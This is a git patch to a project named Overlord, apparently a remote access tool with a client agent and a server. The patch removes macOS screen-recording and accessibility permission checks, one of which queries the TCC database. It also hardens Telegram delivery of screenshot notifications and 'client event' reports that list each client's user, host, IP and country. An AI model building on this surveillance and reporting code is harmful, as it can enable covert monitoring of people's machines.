From b485b5cc1779c17e37743b6e50c3163b44660e0a Mon Sep 17 00:00:00 2001 From: KingKDot Date: Mon, 11 May 2026 20:36:27 -0500 Subject: [PATCH] fix tele issue + fix issue with mac that double prompts. --- .../cmd/agent/sysinfo/admin_darwin.go | 43 +------------ .../src/server/notification-delivery.ts | 64 ++++++++++++------- .../src/server/ws-notifications-plugin.ts | 12 ++-- 3 files changed, 53 insertions(+), 66 deletions(-) diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go b/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go index d924830..bacb803 100644 --- a/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go +++ b/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go @@ -4,9 +4,6 @@ package sysinfo import ( "os" - "os/exec" - "path/filepath" - "strings" ) func IsAdmin() bool { @@ -22,43 +19,9 @@ func Elevation() string { func DarwinPermissions() map[string]bool { return map[string]bool{ - "screenRecording": checkScreenRecording(), - "accessibility": checkAccessibility(), - "fullDiskAccess": checkFullDiskAccess(), + "screenRecording": false, + "accessibility": false, + "fullDiskAccess": false, "root": os.Getuid() == 0, } } - -func checkScreenRecording() bool { - if os.Getuid() == 0 { - return true - } - exe, err := os.Executable() - if err != nil { - return false - } - if real, err := filepath.EvalSymlinks(exe); err == nil { - exe = real - } - home, err := os.UserHomeDir() - if err != nil || home == "" { - return false - } - db := filepath.Join(home, "Library", "Application Support", "com.apple.TCC", "TCC.db") - safeExe := strings.ReplaceAll(exe, "'", "''") - out, _ := exec.Command("sqlite3", db, - "SELECT auth_value FROM access WHERE service='kTCCServiceScreenCapture' AND client='"+safeExe+"' LIMIT 1", - ).CombinedOutput() - return strings.TrimSpace(string(out)) == "2" -} - -func checkAccessibility() bool { - err := exec.Command("osascript", "-e", - `tell application "System Events" to get name of first process`).Run() - return err == nil -} - -func checkFullDiskAccess() bool { - _, err := os.ReadDir("/Library/Application Support/com.apple.TCC") - return err == nil -} diff --git a/Overlord-Server/src/server/notification-delivery.ts b/Overlord-Server/src/server/notification-delivery.ts index 7cce173..d4d6200 100644 --- a/Overlord-Server/src/server/notification-delivery.ts +++ b/Overlord-Server/src/server/notification-delivery.ts @@ -243,6 +243,23 @@ async function deliverToUserWebhook( } } +const TELEGRAM_MESSAGE_MAX = 4096; +const TELEGRAM_CAPTION_MAX = 1024; + +function truncateText(text: string, max: number): string { + if (text.length <= max) return text; + return text.slice(0, max - 1) + "…"; +} + +async function consumeTelegramResponse(res: Response, context: string): Promise { + try { + const body = await res.text(); + if (!res.ok) { + logger.warn(`[notify] ${context}: telegram API ${res.status} — ${body.slice(0, 300)}`); + } + } catch { } +} + async function deliverToUserTelegram( target: UserDeliveryTarget, record: NotificationRecord, @@ -261,19 +278,21 @@ async function deliverToUserTelegram( const filename = `notification-${record.id}.${meta.ext}`; const form = new FormData(); form.append("chat_id", chatId); - form.append("caption", text); + form.append("caption", truncateText(text, TELEGRAM_CAPTION_MAX)); form.append("photo", new Blob([screenshot.bytes as any], { type: meta.contentType }), filename); const apiUrl = `https://api.telegram.org/bot${token}/sendPhoto`; - await fetch(apiUrl, { method: "POST", body: form }); + const res = await fetch(apiUrl, { method: "POST", body: form }); + await consumeTelegramResponse(res, `notification photo to ${target.username}`); return; } const apiUrl = `https://api.telegram.org/bot${token}/sendMessage`; - await fetch(apiUrl, { + const res = await fetch(apiUrl, { method: "POST", headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ chat_id: chatId, text }), + body: JSON.stringify({ chat_id: chatId, text: truncateText(text, TELEGRAM_MESSAGE_MAX) }), }); + await consumeTelegramResponse(res, `notification to ${target.username}`); } catch (err) { logger.warn(`[notify] telegram delivery to user ${target.username} (chat ${chatId}) failed`, err); } @@ -494,25 +513,26 @@ export async function deliverClientEventToExternalChannels( if (target.telegramEnabled && target.clientEventTelegram && target.telegramBotToken && target.telegramChatId) { const token = target.telegramBotToken.trim(); const chatId = target.telegramChatId.trim(); - if (!token || !chatId) return; + if (token && chatId) { + const lines = [label]; + if (info.id) lines.push(`Client: ${info.id}`); + if (info.user) lines.push(`User: ${info.user}`); + if (info.host) lines.push(`Host: ${info.host}`); + if (info.os) lines.push(`OS: ${info.os}`); + if (info.ip) lines.push(`IP: ${info.ip}`); + if (info.country) lines.push(`Country: ${info.country}`); - const lines = [label]; - if (info.id) lines.push(`Client: ${info.id}`); - if (info.user) lines.push(`User: ${info.user}`); - if (info.host) lines.push(`Host: ${info.host}`); - if (info.os) lines.push(`OS: ${info.os}`); - if (info.ip) lines.push(`IP: ${info.ip}`); - if (info.country) lines.push(`Country: ${info.country}`); - - try { - const apiUrl = `https://api.telegram.org/bot${token}/sendMessage`; - await fetch(apiUrl, { - method: "POST", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ chat_id: chatId, text: lines.join("\n") }), - }); - } catch (err) { - logger.warn(`[notify] client event telegram delivery to user ${target.username} failed`, err); + try { + const apiUrl = `https://api.telegram.org/bot${token}/sendMessage`; + const res = await fetch(apiUrl, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ chat_id: chatId, text: truncateText(lines.join("\n"), TELEGRAM_MESSAGE_MAX) }), + }); + await consumeTelegramResponse(res, `client event to ${target.username}`); + } catch (err) { + logger.warn(`[notify] client event telegram delivery to user ${target.username} failed`, err); + } } } }), diff --git a/Overlord-Server/src/server/ws-notifications-plugin.ts b/Overlord-Server/src/server/ws-notifications-plugin.ts index 8edd36b..488d82b 100644 --- a/Overlord-Server/src/server/ws-notifications-plugin.ts +++ b/Overlord-Server/src/server/ws-notifications-plugin.ts @@ -297,7 +297,9 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { safeSendViewer(session.viewer, { type: "notification", item: record }); } - void deps.deliverNotificationWithScreenshot(record); + deps.deliverNotificationWithScreenshot(record).catch((err) => + logger.warn("[notify] delivery failed", err), + ); }, handleNotificationScreenshotFailure(commandId?: string, ok?: boolean, message?: string) { @@ -376,12 +378,14 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { const externalTargets = deps.getDeliveryTargetsForClientEvent(event, info.id); const pushEnabledByUser = new Map(externalTargets.map((t) => [t.userId, t.clientEventPush])); - void deliverWebPushClientEvent(event, info, deps.canUserAccessClient, deps.getUserRole, (userId) => { + deliverWebPushClientEvent(event, info, deps.canUserAccessClient, deps.getUserRole, (userId) => { const enabled = pushEnabledByUser.get(userId); return enabled !== undefined ? enabled : true; - }); + }).catch((err) => logger.warn("[notify] web push client event delivery failed", err)); - void deliverClientEventToExternalChannels(event, info, externalTargets); + deliverClientEventToExternalChannels(event, info, externalTargets).catch((err) => + logger.warn("[notify] external channel client event delivery failed", err), + ); }, markPluginLoaded,